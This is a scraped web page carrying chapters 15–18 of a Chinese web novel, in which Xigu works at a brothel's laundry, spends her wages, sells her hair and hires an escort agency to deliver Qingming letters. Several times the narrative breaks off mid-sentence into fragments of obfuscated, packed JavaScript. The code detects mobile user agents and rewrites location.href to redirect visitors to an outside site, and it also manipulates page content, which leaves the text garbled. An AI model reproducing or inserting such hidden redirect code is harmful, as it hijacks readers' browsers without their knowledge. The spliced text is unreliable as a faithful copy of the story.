l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488906|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来对了地方,每天都有新鲜逸事听。 洗衣服的人陆续上门,韩妈妈也跟着来了小院。 周娘子见到韩妈妈又换了一副嘴脸,看着既恭敬又亲切。反倒是葛娘子,还是那副垮脸。 当着韩妈妈的面,葛娘子和周娘子将昨天洗好的衣物和要洗的交割完毕,后者带人把叠放整齐的衣物装好筐子,依旧用扁担挑着走了。 细姑叫韩妈妈认了出来,以为韩妈妈会问她丽娘和刘月儿母女俩为什么没来,结果韩妈妈只是跟聊了几句,九指婆就通知她:以后来帮忙计件收衣,一天三十文钱,做一天算一天钱! 细姑没敢表现得太过,只是不断拱手道谢。 韩妈妈瞥着细姑那不男不女的行礼姿势,勾勾嘴角,坐到了桌后椅子上面。 今天衣物明显比昨天少了不少,细姑跟着葛娘子忙完,太阳还在半山上。 揣上今天的三十文工钱,细姑向葛娘子道别,“葛娘子,我下工了,明天我还是这个时间过来,我给你带早点!” 葛娘子知道她是好意,却还说她,“你一天就这几个钱,还天天请我吃东西!” 细姑嘿嘿一笑,“我没想着那些!” “行了,去吧!” 细姑转身刚要走,葛娘子又把她叫住,“你在这儿等着。”说罢往洗衣院里头的屋子去了。 细姑就站在门口等着,不一时,葛娘子拿了个矮胖圆墩的小瓷罐出来,递到细姑手上,“你把这个油膏拿着,晚上洗漱过了,给两只手仔细涂上,第二天把手洗干净,不要再碰任何有油的东西!” “这是做什么?”细姑不解。 “收料子得把手养好,省得把料子刮出丝来,第二天不见油是怕在料子上留印,否则难看还难洗!” 细姑闻言,慎重地收好小罐,再次向葛娘子道别,便走了。 天色还早,细姑没着急回泉布巷,一路上,慢慢走,慢慢逛。 先去买了裁春衣的布料,素白的一匹,藏蓝的一匹,豆青色的一匹,浅红的一匹,还专门要了一匹鹅黄的给刘月儿。 细姑花起钱来大手大脚,要的都是上好的松州细布,十五文一尺,一匹细布四丈、即四十尺,算下来一匹布要六百文钱,五匹就要三千文。 她只有足银角,于是叫店家先把东西给她放在一边,她等下来拿。 细姑又去找了一个倾销金银的铺子,把自己做旧好的银角换成了市面上一般流通的九分银,六两五钱足银兑出了七两银子。 到布庄付了布料钱。 难得有人一次买这么多的布料,店家送了五尺的茜色料子给她,另派了一个伙计帮她把料子送回家去。 细姑还要买其他东西,比如陶罐剪刀这些。 陶罐好买,剪银子的剪刀却要预定,细姑不耐烦要等,直接去铁匠铺买了一把斧头,想着丽娘的菜刀都豁口了,而且还要指望丽娘帮忙做衣服,又买了一把菜刀、一把剪刀,又瞥见铁匠打好的柴刀不错,干脆又买了把柴刀。 刷牙用的猪鬃毛牙擦子,上茅厕要用的草纸——这些在百姓家里多少有些奢侈,回去了指定要叫丽娘数落一通。 但是花钱不用考虑太多的感觉实在令人上头。 细姑一路买买买,这些日子的做旧成果所剩无几。 最后除了帮忙送布料的小伙计,她自己也是抱了个满怀。 15. 第 15 章 果不其然,一回去,细姑就在丽娘那恨铁不成钢的眼神里抬不起头来。 “前两天赢来的钱是不是都叫你花完了?”丽娘看着满床的东西问道。 这种滥买东西被抓包的情况,细姑有着丰富的应对经验。 十几二十岁岁最在意外形最虚荣的年纪里,她根本没有本钱去在意这些。 但是被压抑的需求不会自觉的消失,只会在她有能力挣钱了以后,疯狂地显现出来——她会买一堆不实用的东西。 姐姐看到后,总是指着东西对她一通数落。 每当这种时候—— 首先不能反驳,低着头认错,随她数落。 “大姐,你那钱就是算是大风刮来的,也没有你这么个花法。这布料咱们留下两匹,够用就行,剩下的给人退回去,手里好歹留点钱。” 第二,要表明自己已有能力赚取钱财。 “我会认字算数,九指婆让我帮她收衣服记账,一天给我三十文钱,算下来每个月总有八九百文钱,怎么着也是够用的!”细姑为自己辩解。 “九指婆要你给她做事?”丽娘的语气软和下来。 第三,要会适当的装一点可怜。 细姑点头,又说了点可怜话,“我从刘家那些人手里逃出来,光身子一个人出来的,什么都没拿,一件换洗的都没有。天眼看着热了,我给人干活,总不能一身衣裳穿到馊吧?” 丽娘看着细姑,她身上的衣服的确是从她们刚认识就穿到了今天,忍不住叹了一口,道:“把你那剪刀拿出来吧,我都看到了!” 丽娘这是不气了! 细姑忙从那一堆杂物里面拿出剪刀递给丽娘,还不忘说:“给你跟月儿也裁两身衣服,反正买了这么多布。” 丽娘没好气地问她:“你就买了剪刀,量衣服的尺子和缝衣服的线呢?” 细姑傻眼,还要买这些?也没人告诉她呀! “算了!算了!明天我买!吃饭吧!”丽娘是不指望细姑能搞清楚这些了。 细姑长舒一口气,撇过头看见了刘月儿,就见刘月儿张着圆溜溜的眼睛看着细姑。 于是装模作样地对小孩儿做了个鬼脸。 刘月儿也不甘示弱,对着细姑吐了吐舌头。 屋内一灯如豆,丽娘看着一大一小两个都没个正形,心中五味杂陈。 丽娘这个人嘴硬心软,买回了量身的尺子和缝衣服的线,就先给细姑做了一身春衣。 一件豆青的衫子,一条蓝色的裤子,还有浅红的短比甲和一条素白的围裙。 这个时代的妇人大多穿长到脚踝的裙子,细姑觉得长裙穿起来麻烦,特意要丽娘给自己做了一条能外穿的裤子。 但是妇人的裤子又不能直接外穿,于是又多了一条半长的裙子围在腰间。这种裙子就是这个时代的围裙。 丽娘做的衣服很合身,细姑就穿了这身衣服去洗衣院上工。 葛九娘看细姑换了一身衣服,只说了一句“这身衣裳看着利索,干活方便些。” 周娘子就爱夸张作怪。她揶揄细姑:“你终于舍得把你那身三尺厚的袄子换下来了!” 枇杷巷是个销金的所在,自然人人衣着鲜亮。 少则一两日,多则三五天,就要换一套衣服。 细姑自认是个穷人,跟葛九娘和周娘子这些人比不了。 她笑嘻嘻地向周娘子讨夸赞,“我好不容易得了一身新衣服,正高兴呢,周娘子该多夸夸我!” 她在葛九娘手下做了一段时间,不说干得有多好,但也从未出过岔子。而且每天跟周娘子打交道,知道周娘子就是这么一个爱打趣人的主儿。 回应起来也是大大方方,丝毫不认为自己是个穷人买不起衣服有什么问题。 跟这繁金楼的众人比起来,她确实就是穷么! 周娘子喜欢细姑这种坦荡,笑道:“确实不错,人穿上新衣裳,看着也精神!” 细姑笑眯眯地接受了周娘子的夸赞。 天气暖和,繁金楼上上下下、里里外外都换了个遍。 冬日里用的,料子厚、颜色重的门帘、桌布、装饰用的彩带,都换成了适合春天的,颜色清新的细绢。 姑娘们待客穿的衣裙,也都换成颜色鲜嫩气质飘逸的罗衣绫裙。 周娘子这几日送来浣洗的衣物比平时多了几个大筐。 细姑一边记录对账,一边在心里感叹:这么多衣服,繁金楼每年光是买布料做衣服得多少钱啊? 细姑直接跟葛九娘问了这个问题。 葛九娘伸出两根指头,“两千两!” “这么多!”细姑惊了,又问:“那每年换下来的旧衣裳呢?” “有的留给楼里自己人,多数都卖到下面几个州县去了。” “哦——”细姑受教了。 这古代,布料正经能当银子使,顶级青楼淘换下来的旧衣裳,到了别处,依然是值钱能撑场面的好东西。 细姑想想自己前几日,一回就买了四五匹布,确实是挺败家的,也不丽娘说。 “你回头拿手翻衣服的时候要小心,春天夏天的衣裳,料子薄,颜色浅,千万不要把墨沾上去!”葛九娘嘱咐细姑。 “真出了岔子,要赔的。这便宜的一件七八钱银子,贵的要四五两。你一天才几个钱,上哪赔得起?” 葛九娘的话是为了细姑好,这细姑晓得,于是拼命点头,做起事情来更加小心。 这天细姑照例手里捧着账簿,验货对数。 这些衣物,旧的要洗好晾干,收在库房里,等待明年再用。 去年应季的旧衣裳,还能穿的,都要一一洗过,干了后再分发下去。 细姑这边干着干着就觉得不对劲,像是有什么人在看她。 她想看看谁在看她,转了一圈,却叫晾起来的衣物挡住了视线。 心里毛毛的。 于是在对完这一片的料子和衣服之后,细姑换了一处视线开阔的地方——洗衣服和晾衣服交界的地儿。 她假装专注地做事,眼睛的余光瞟见了一个院保模样的人,正在不远处看着自己。 什么见不得人的样子!细姑心道。 翻了个白眼,转过头去,她似笑非笑地看向那人。 那人一看细姑发现自己,走上前来,也不说自己是谁,直直问细姑:“丁丽娘呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488907|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她听见这句话立刻明白眼前这人是谁——贺老二。 这贺老二,身量不高,看着跟细姑仿佛,一身院保的短打衣裳,脸生橘皮,五官平常,神态言语之间对细姑颇不以为意。 贺老二的态度叫细姑很不高兴,干脆不理他,转头又去做自己的事情。 看细姑不理他,贺老二自然着急,上前两步,又大声说了一遍:“我问你丁丽娘呢?” 细姑个子高骨架大,人也结实,自然不怕贺老二态度蛮横,她立刻拿出市井妇人泼辣不耐烦的态度来。 “叫什么叫?什么丽娘丑娘的?老娘都不认识!” 硬的怕横的,贺老二一见细姑这市井泼妇的样子,就知道细姑是个不好惹的。 自己还有事要问她,于是马上改变态度,把话放软。 “丽娘是我相好,我前些时候不在,一回来没看见她。他们说你是跟丽娘一起来的,所以我来问你。” 细姑白他一眼,这八字还没一撇呢,就开始造谣,怪不得丽娘看不上。 “丁丽娘前些日子叫雨淋了,病得起不来,母女两个叫他娘家和夫家来人,给接走了!” “夫家?哪来的夫家?她男人不是死了吗?”贺老二这下是真急了。 “死的那个又不是她正经男人!她叫她正经夫家接回去了!”细姑说话半真半假。 在这齐朝,严格来说,丽娘和刘月儿的爹刘安,两人确实不能算夫妻,丽娘正经的夫家是她爹娘给她定下来的贾员外家。 “你说话当真?”贺老二还不死心。 细姑呛他,“我骗你有钱拿?” 说完再不理睬贺老二,自顾自忙去了。 那贺老二虽然是给繁金楼当院保的,但自觉是个良民,这繁金楼枇杷巷都是些娼门妇人,他看不上,一心想给自己讨个良家女子做老婆。 他看这丽娘寡妇一人,虽然带着一个累赘女儿,但是年轻漂亮。即使生计艰难,却也一直给她死去的丈夫守节,以为她必是个贞烈有情义的女子。 不想今日却叫眼前的妇人说破了形——她丁丽娘竟也是个抛家弃室、不顾伦常的贱妇人! 罔自己对她另眼相看,照顾有加。 贺老二一时间大受打击,又是恼怒又是失落,半天没能言语。 等这贺老二回过神来,学着楼里那些有钱的客人老爷,振振不存在的大袖,又昂首挺胸地走了。 一旁细姑,瞧见贺老二的情形,冷笑一声。 后面的日子细姑忙得脚不沾地。 白天给葛九娘干活,晚上被周娘子拉壮丁,给她算库房里面的各种衣服布料。 有时忙得太晚,还要在周娘子房里打地铺。 给周娘子干活没经过韩娘子,所以细姑是干白工——没钱拿的。 不过周娘子私下里面应承细姑,等到旧衣服都淘换下来,给细姑留一件好的,随她拿去穿或者卖,都划算。 不管东西能不能拿到,细姑先给周娘子道谢。 至于贺老二,这人照旧在繁金楼里点头哈腰奉承客人,偶尔看到细姑也只当没看见。 丁丽娘这个名字更是水过无痕,再没人提起来。 16. 第 16 章 好不容易休息一日,细姑直睡到日上三竿才醒。 醒来也不着急出门,她就坐在床上打量起自己这间屋子。 东屋比西屋小一些,原来屋里的一套桌椅都搬到了丽娘的西屋,用来吃饭放东西。 床上的铺盖,都是搬进来后,丽娘给她重新置办的。 衣柜里也没什么东西,除了一身冬衣,就是丽娘新给她做的两身春装。 还有王细姑的几件首饰,也放在柜子最里面。 看够了,细姑从床上下来,蹲下身,在床底拿出自己放进去的两个陶罐。 这两个罐子,一个沉甸甸的,里面放着细姑这些时日赚取的铜钱,另一个装着草木灰水和被细姑劈碎的银角子。 她把铜钱每一百个穿成一串,穿了六串,余下三十七枚 银角子这些日子泡在水里,氧化得厉害,又灰又暗,在手心里滚了两圈,细姑吐槽,“弄成这样还能花出去?” 撂下银子,她又把昨天周娘子给的那件罗裙翻出来,盘算着今天就找个二手成衣店给卖了。 听周娘子的意思,这条裙子好歹值几个钱。 细姑这边收拾东西,那边就听见丽娘母女俩开门回来的动静,出门一看,就见丽娘一手拎着一口布袋子,一手提着一刀猪肉。 刘月儿人小,也帮着她娘抱了一小捆韭菜。 “今天回来的这么早?”细姑问道。 刘月儿举起手里的韭菜,十分高兴,“今天吃角子!” 丽娘点点头,“我今天出门看见外面卖的韭菜新鲜,就买了点肉回来,晚上包韭菜肉馅的角子吃。” 齐朝的角子后世称之为饺子,吃法也差不多,用水蒸、煮或是油煎。 细姑爱吃韭菜猪肉馅的角子。 她想着丽娘买这些东西肯定花出去不少钱,便去自己屋里,把铜钱和罗裙拿了出来。 铜钱六串分丽娘五串,她自己留一点做零花。 “这些钱你先拿着用,以后多像今天一样,弄点好吃的。”细姑自己做饭不怎么好吃,平常的饭食都是丽娘做的。 “还条裙子是我给人帮忙,别人送的,等我回头找个铺子卖了,卖的钱再分你一些。” 细姑当初提议和丽娘合租作伴,一个是看她们母女俩可怜,刘月儿又和自己的小侄女月月有几分神似,二是自己孤家寡人,想找人做个伴。 搬来新宅子的二十天里,丽娘洗衣做饭,洒扫庭院,日子过得井井有条。而且丽娘还很有分寸,除了刚搬来那天给自己铺床被,再也没有进过自己的屋子。 人不能一直倒霉,细姑觉得自己碰上丽娘,就是自己好运的开始。 丽娘也觉得细姑是个难得一见的好人,是自己母女的恩人。 当时细姑的提议,丽娘不是没有犹豫过,但她还是下决心赌一把,赌细姑的人品,也赌自己母女俩的运气。 现在她觉得自己赌赢了。 细姑给钱是真给,而且从不问她把钱花在了哪里,平常人家的丈夫也难做到像细姑一样大方。 丽娘收了钱,在一旁择韭菜,“大姐,我跟你说个事,我把云来客舍的工给辞了。” 细姑在旁边刷牙,含混道:“怎么不干了?” “我找了一家食店,去后厨给人洗菜洗碗,一个月六百文,比客舍那边多一百文。” 细姑把嘴里的盐水吐掉,“那也不错,什么时候上工?” “明天就去!” “那你今天没事?” “嗯!” “我今天也没事,咱们一起出门去逛逛吧,我听人说,逢五逢十城南外有草市,咱们今天去草市怎么样?” 少有女人不爱逛街,丽娘也不例外,“好,等我吧韭菜收拾好,咱们一起去!” 临出门时,刘月儿挨了她娘一顿胖揍——她把洗好晾在笸箩里的韭菜耍猴一样甩得到处都是。 这哪个当娘的能忍? 细姑丽娘二人带着满脸是泪的刘月儿出门。 她们先去了收旧衣的铺子,一番讨价还价之后,把那条旧罗裙卖了二百文钱。 从铺子里出来,细姑一文没留,把钱都给了丽娘,然后学着戏里的小生,拱手向丽娘做请求状,“好丽娘,家里的茅房,你让收夜香的来得勤一些,多给他几文钱也无妨。天越来越热,这五六日才来收一次,茅房里的味道实在是不好闻。” 丽娘笑细姑,“五六日你都受不了,那你以前在九曲巷那边是怎么过得?” 九曲巷就是细姑跟着丽娘住的那间小得离谱的院子。 一提起那段时间,细姑的脸就皱得像是生吃了二斤黄连一样,“还能怎么过?能憋着就憋着,实在憋不住只能去街上公用的茅房!” 跟着丽娘住在九曲巷的日子,绝对是细姑穿到齐朝以来过得最黑暗的日子。 光是上茅房这一件事,就让她吃尽苦头。 一开始只要上一次茅房,她就能吐上半天,后来适应一些,只是干哕,不吐了。 所以她才那么迫不及待地搬地方。 草市不负其名,路两边都是半腿高的草。 草丛里隔三五步就插上一个人,或蹲或站。 每人面前都摆放着自家售卖的东西——粮食、菜蔬、鸡鸭、鱼鲜、针头线脑、锄头箩筐…… 细姑一个一个看过去,什么也没买,她要先吃点东西。 还是吃面。 一碗面加上一个荷包蛋,才六文钱,比城里便宜。 细姑点了三碗,一人一碗。 草市除了小商小贩来卖东西,还有不少做手工服务的,比如补铁锅木桶、戗剪子菜刀、刮脸修胡子…… 细姑一边吃面,一边眼睛盯着修面摊子,摊主的幌子上有几个字让她十分感兴趣。 小孩子记吃不记打,刘月儿这会儿吃得嘴边都是汁水,丽娘拿帕子在给女儿擦嘴,她看细姑一直盯着不远处的修面摊子,忍不住问道:“大姐,男人刮脸有什么好看的?” 细姑摇摇头,把脑袋转了回来,“不是那个,我是看他那幌子上写着长发卖钱。” “你要做什么?卖头发?”丽娘大为震惊,连面都顾不上吃了,“日子好好的,又不缺钱使?你做什么要卖头发?” 身体发肤受之父母,女人的头发更是跟命根子差不多,丽娘最难的日子也没想过要卖了自己的头发。 这会儿听到细姑要卖了自己的头发,自然是不赞同。 细姑赶忙道:“你先别急嘛,我只是看看,又没说一定要卖!” 丽娘皱眉看着细姑,一脸的不信。 吃过面,细姑让丽娘去买些鸡蛋,自己则踅摸到了那个收头发的摊子旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488908|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这位师傅?你这里收长发?” 摊主无事,正在那里磨自己的吃饭家伙,听见细姑说话,走过来,看看细姑,只见她衣着整齐,面色红润,不像个过不下去的样子。不由问道:“是谁要卖头发?” 细姑拿手指着自己:“我!” 她早就想把这一头长发处理掉,又长又厚,平日里梳头还不掉头发。要是在前世,细姑肯定高兴,但是现在她只觉得每天脑袋上顶着二斤头发,又累又麻烦。 “你把头发放下来,我看看!” “诶!”细姑都没问价。 这确实是一头上好的青发,又厚又密,没生虱子没有虮子,掂在手里满满的一把,十分沉实。 那摊主几年也遇不上这么好的一把头发,这样的头发做成假髻卖出去,不得赚上几两。 于是立刻报了一个高价,“三百文,你头发卖给我,我给你三百文钱!” “什么三百文钱!”丽娘买了鸡蛋回来了,“大姐,你不是说不卖的?” 细姑还没说话,摊主先急了,“诶——这位娘子,我这儿收长发给钱可是公道的,三百文,除了我这儿谁也给不了!” 对卖头发,细姑避而不谈,只是问丽娘:“你这么快就买好鸡蛋了?” 丽娘不理摊主,一脸急切道:“大姐,你别听他说得好听,这些人都心黑,恨不得把头发连根拿走,到时候你头上坑是坑洞是洞,还怎么出去见人!” 这一点细姑确实是没想到,她有点犹豫。 摊主忙道:“哎呦,娘子,我这摊子在这儿多少年了,收了多少的头发,怎么可能像那些拿剪子的一样!” 他确实不是拿剪子剪的,而是用剃刀割的。 头发一缕一缕拉长,抖一抖,把短发抖下去,再拿刀轻轻一划,长的就割下来了。 摊主每拉起一缕头发,丽娘就在旁边来一句:“诶!你留长点,剩下那么多的头发还不够你拿去用?” 拉起一缕,来一句。 细姑听得直想笑,又不敢,怕丽娘绕过摊主来找自己的不是,只能忍着。 割过之后,头发刚好披肩,细姑把剩下的头发扎起,正好挽成一个髻,再用头巾把脑袋包起,又轻松又利索。 “喏!”丽娘把钱丢给细姑,“卖头发的钱拿好,不要乱花!” 细姑收起钱,点点头,“你们买了多少鸡蛋?” 丽娘拎着篮子给细姑看,“这些时候都在孵鸡仔,没有多少蛋卖!” 细姑看一眼,才十来个蛋。 休息一次不易,来趟草市,什么也不买,不是她的风格,于是拿出钱来,道:“那咱们去买点别的吧?” 丽娘僵硬地牵起嘴角,看着细姑,脸上明明白白地写着狗碗里留不住一口剩饭,“再过两天清明,你不得上坟烧纸?” 这话提醒了细姑,她恍然道:“哦——清明,清明是个大事儿,得花钱!” 前世学校工作放假手机里都会提醒她,什么时候什么节日,如今在齐朝,细姑不太会算日子,也记不清节日都在什么时候,还是丽娘说了她才知道。 差点误事! 得给刘洪和王细姑上坟烧纸钱,这个很重要。可是细姑又担心,自己回去,万一遇上刘春根那几个可怎么办?自己一个人是决计打不过几个田家汉的。 17. 第 17 章 打不过就不上,但是自己在棺材前发的誓她不能当没有。 为了安全起见,细姑决定曲线救国,清明上坟请别人代她去。 从草市出来,细姑和刘月儿一人手里拿了一块饴糖。 半截拇指大小的饴糖,插了一根细签,要两文钱。 丽娘不吃,她嫌费钱。 晚上要吃韭菜肉馅的角子,这东西做起来费事,丽娘带着刘月儿先回家去。细姑一个人在街上转悠,她在想找人帮她送信给白霜,请白霜代自己去上坟。 细姑找了一家叫“义顺”的镖行。 从半掩着的大门进去,细姑看到满院都是男人,一个个光着膀子在那里锻筋炼骨。 她愣住了——什么情况?这里是镖行还是古代版健身房? 她退出大门外,倒行了一段,抬头重新看了一眼危杆上的幌子——义顺镖行。 她没走错地方! 细姑待要再次进去,就见门里面走出一个人来——二十来岁,一身短打,又瘦又长,看起来劲劲的。 在前世,她要是见了这人,肯定会夸一句漫画比例。 但这里是大齐宁州府,百姓的身高普遍不如后世,街上看到的大多数男人看着也就和细姑差不多,四肢身材的比例都是常人。 细姑看惯了平常百姓,突然间见到这么一个人,只会小小声地嘀咕:“竹竿子——”。 那人身形一顿,走到细姑近前,看了看细姑,“你说什么?” 这么小声也能听见? 细姑表示怀疑,但还是立马改口,“我是来投镖的!” 人到跟前,细姑看着又觉得还好,也只比自己高了多半个头。 一听细姑是来投标的,那人气息一滞,也没再多问,指着大门的一边道:“投镖接待在那里,大门这里不做接待。” 镖行接待的地方叫四友斋,两间门脸大小,掌柜的是个三十来岁的妇人,自言姓沈,窄长脸,笑意盈盈地接待细姑。 “这位娘子要投镖?货镖?人镖?还是银镖?” 细姑对这些行话半懂不懂,直言道:“我想请人给我送封信,还有几两银子。” 义顺镖行难得有这么小的生意。 沈掌柜沉默片刻,又笑道:“娘子要送信去哪里?” “去碧云山,山脚下有个小岭村。” “那倒是不远,脚程快些一天能有个来回。” 这就是可以了, “钱怎么算?”细姑问道。 沈掌柜略一思索,道:“送信简单,一百文;送银子——再加五十,合起来共一百五十文钱。不过咱们可说好了,银子不能多于五十两,超出的部分另外算钱!” 细姑能赚到钱后,懒得再去搞银子造假工程,劈碎了一块后,觉得够用了就没再弄。 现在罐子里只有三两银子,“我没有那么多钱,就几两!” “好!你等着!”说完,沈掌柜打开窗户,冲着院子里喊道:“沈宿,你给我到前斋里来!” 声音之大,完全看不出来是她喊的。 细姑一耸——人不可貌相! 喊完了,沈掌柜转过身,看见细姑的样子,微微一笑。 沈宿正是刚才细姑在大门外见到的那个瘦长男人。 原来这四友斋前后都有门。 前门接待客人,后门出去就是刚才细姑看到的院子。 沈宿开门进来,看一眼细姑,也不往里面来,就那么抱着胳膊往门框上一靠,对沈掌柜抬抬下巴,语气随意,“叫我做什么?” 沈掌柜手指了指着细姑,说道:“给你揽了个生意,帮这位娘子送一封信!” “信?什么要紧的信还要我去送?” 细姑忙解释,“一封家信,不是什么要紧的事情。” 沈宿看一眼细姑,没说话。 还是沈掌柜,“送到碧云山去,反正你这几天也要过去,顺带把人家这封捎过去。” 许是嫌生意小了,沈宿不大乐意,“这点事情也要我去做?你把我当跑腿的使?不干!” 说完调头要走。 沈掌柜从椅子上起身,“诶!诶!诶!你给我站着!” 沈宿停下来,不走也不回头,就那么斜倚着门等沈掌柜把话说完。 “顺路送封信,又不耽误你的事儿,这也不干那也不做,都像你这样,咱们吃什么?而且家里,你姐夫身子又不好,郭毅、郭仁还小,我们这一家子……” 沈掌柜竟开始打起苦情牌。 细姑觉得男人的背影都透着无奈。 沈宿转了回来,“又来这一套!我去,我去还不行嘛!”。 说完不想理沈掌柜,晃了到细姑面前,伸出一只手来,“信!” 沈掌柜神情得意地对细姑使了个眼色——把信给他! 信?细姑还没写,她想着找人送信就来了,现在沈宿找她拿信,她拿不出来,“我还没写?” 沈宿要笑不笑地看着细姑。 细姑觉得有点尴尬,心道:这不第一次投镖,没经验么! 还是沈掌柜给细姑解围,“可以带口信!” “可我的银子也没带在身上。” 这下沈掌柜也不知道说什么好了。 怕人家觉得自己是故意找上门来消遣人,细姑先掏出了一百五十文铜钱来,“掌柜的,还有这位——这位沈——沈镖头!” 细姑接下来的话还没说出去,沈掌柜噗嗤一声就笑了出来,瞅一眼沈宿,又对细姑说道:“镖头?这位娘子,你太客气了,他还不是镖头!” 这客气恭维过头了也怪叫人尴尬! 沈宿咳嗽一声,拿眼睨着沈掌柜,“叫沈镖头不行?” 说完,自己也忍不住笑出来。 细姑更尴尬了! 细姑不知道做个什么表情,干脆绷着面皮,把手里的钱放到桌子上,推给沈掌柜,“这是一百五十文,银子我回头取了就送过来,信?信我能不能借你这里的纸笔写?我家里没有这两样东西。” 沈掌柜平静下来,看了一眼外头的天色,“一会儿这里就要关门。” 关门?她的钱可是给出去了! 细姑刚要说话,沈掌柜又道:“关门了我就回后院去,不过没事,”她一指沈宿,“他晚上住前院,你回头过来直接敲门,找他就行!” 这下细姑放心了,笑道:“那麻烦这位——” “叫我沈宿就行!” 她跟这位又不熟,说话还是客气点好,好笑就好笑吧,于是——“沈镖头!” 细姑投好镖,一刻也不想呆在这里,起身向沈掌柜告辞。还没出门就听见—— “信是我送的,你怎么把钱都收起来了?也不给我留点!” “你还想要钱?前几天给你姐夫偷酒喝的事,我还没找你算账!” 回了泉布巷的宅子,细姑一进门就看见丽娘已经包好了大半个笸箩的角子。 刘月儿从她娘手里截下一小块面团,正拿着筷子在那里学着大人擀皮。 “大姐,送信的找好了?”丽娘一见细姑回来,问道。 细姑翻折起衣袖,准备帮丽娘把剩下的角子包了,“找好了!等下还得送点东西过去!” 丽娘忙用手挡住细姑,“诶——你先别动,就剩几个,你去厨房,先把水烧起来!” 烧水煮角子,一会儿就好。 细姑吃过角子,回屋掏出那三两灰扑扑的碎银角,揣兜里,又出门了。 一路上都是挑了灯笼的铺子,只有义顺镖局这里早早地熄灯关门。 沈宿还是在的!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488909|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>四友斋。 斋房两间,灯两盏。 门开风入,灯影晃动。 沈宿坐在椅子上,两腿交叠,手里拿了一本书,随意地翻看着。 为了避嫌,离细姑远远的。 细姑因为吃了韭菜而有些不好意思——她怕张口说话熏到人家。 这样正好。 可——刚写了一个字,细姑就停了下来,她看着坐在远处的沈宿,犹豫再三,还是出口叫人,“沈镖头——” 沈宿身体纹丝不动,抬眼看向细姑,“嗯?” “畅字怎么写?通畅的畅。” 繁体字细姑连蒙带猜能认个八九不离十,但是让她写,这就为难了——根本写不出来! “你要写信连字都不识?” “我会认不会写!”这个她还是要为自己辩解一下的,好歹上辈子也是本科学历。 沈宿看着细姑,深吸一口,放下手里的书,慢慢起身,缓步走到细姑近前,面无表情的看了细姑的信纸—— 上面只写了一个王。 沈宿另抽出一张纸,平铺在细姑旁边,把手一伸,“笔!” 细姑忙把手里的笔递上去。 沈宿接过笔,在纸上写出一个“暢”字来,又把笔递还给细姑。 细姑拿笔照着沈宿的字描了一遍,才写到自己的纸上。 王暢不……写到第四个字,细姑又卡住了,只好再次呼叫场外援助,“沈镖头——能不能的能字怎么写?” 沈宿刚坐下,听见细姑的话,不由两眼望天,最后也只能无奈起身,再次来到细姑桌边,拿过笔,把“能”字写出来。 “回?”——迴。 “去?”——去。 “请?”——請。 ………… 细姑担心写了简化字,到了地下刘洪夫妻不认识,干脆把要写的字挨个请教了一遍。 沈宿一开始面平无波,但腹内还是颇有怨言。 叫细姑这一通问下来,怨气都磨没了——这女人真是个会认不会写的! “王暢這次不能迴去請白霜代為燒紙祭祀下次儘量親自迴”这一封是要烧在坟头上的。 “白霜清明我有事不能迴煩你代我到劉洪墳上祭拜這裡有銀角——”细姑暂停写信,把银角子从怀里掏出来,摆在桌上分作两堆——左四右五,一共九个。 细姑继续写:“九個——” “你这银子——”沈宿皱眉。 他看细姑的银角有点奇怪,于是将这些银角都拢在手里,轻掂了几下。 细姑的心提了起来。 她有些惊慌,却不敢表现出来。 只能佯装什么都不懂地看着沈宿,“银子怎么了?” 沈宿瞥一眼细姑,摇摇头,“没什么。” 心落了回去! “对了你这银子——”沈宿又来。 细姑,“嗯?” “三两整!信里写上!”沈宿抽出一张封签,把银子丢进去。 我知道!细姑暗暗白了一眼,提笔又加了一句:“一共三兩你使一錢買紙餘下的自己留著花用” 沈宿把银子装了,看见细姑后加的几句话,忍不住问细姑:“你知道一钱银子能买多少纸钱?” “嗯”细姑疑惑,“一钱银子不够么?那就再加一钱。” 他们夫妻俩在地下有钱花,必然也会念着我的好。 细姑满意地点点头,给“一”字上又添了一道短横,写完把把信叠一叠交给沈宿。 沈宿不说话,接过细姑的信,他透过纸背能看见上面的字大的大、小的小、深的深、浅的浅——一笔烂字。 刚要点蜡装封,细姑忙道:“短的那封信不用打开,到时让人直接在坟上烧了就行!” 点蜡封信。 18. 第 18 章 细姑与沈宿双方约好,清明后一天来拿回信。 但她很不幸的爽约了。 原来再过两日就是清明——这是祭祀祖宗的大日子。 枇杷巷这两天冷清下来,繁金楼干脆停业整修,等过了清明再重新开张。 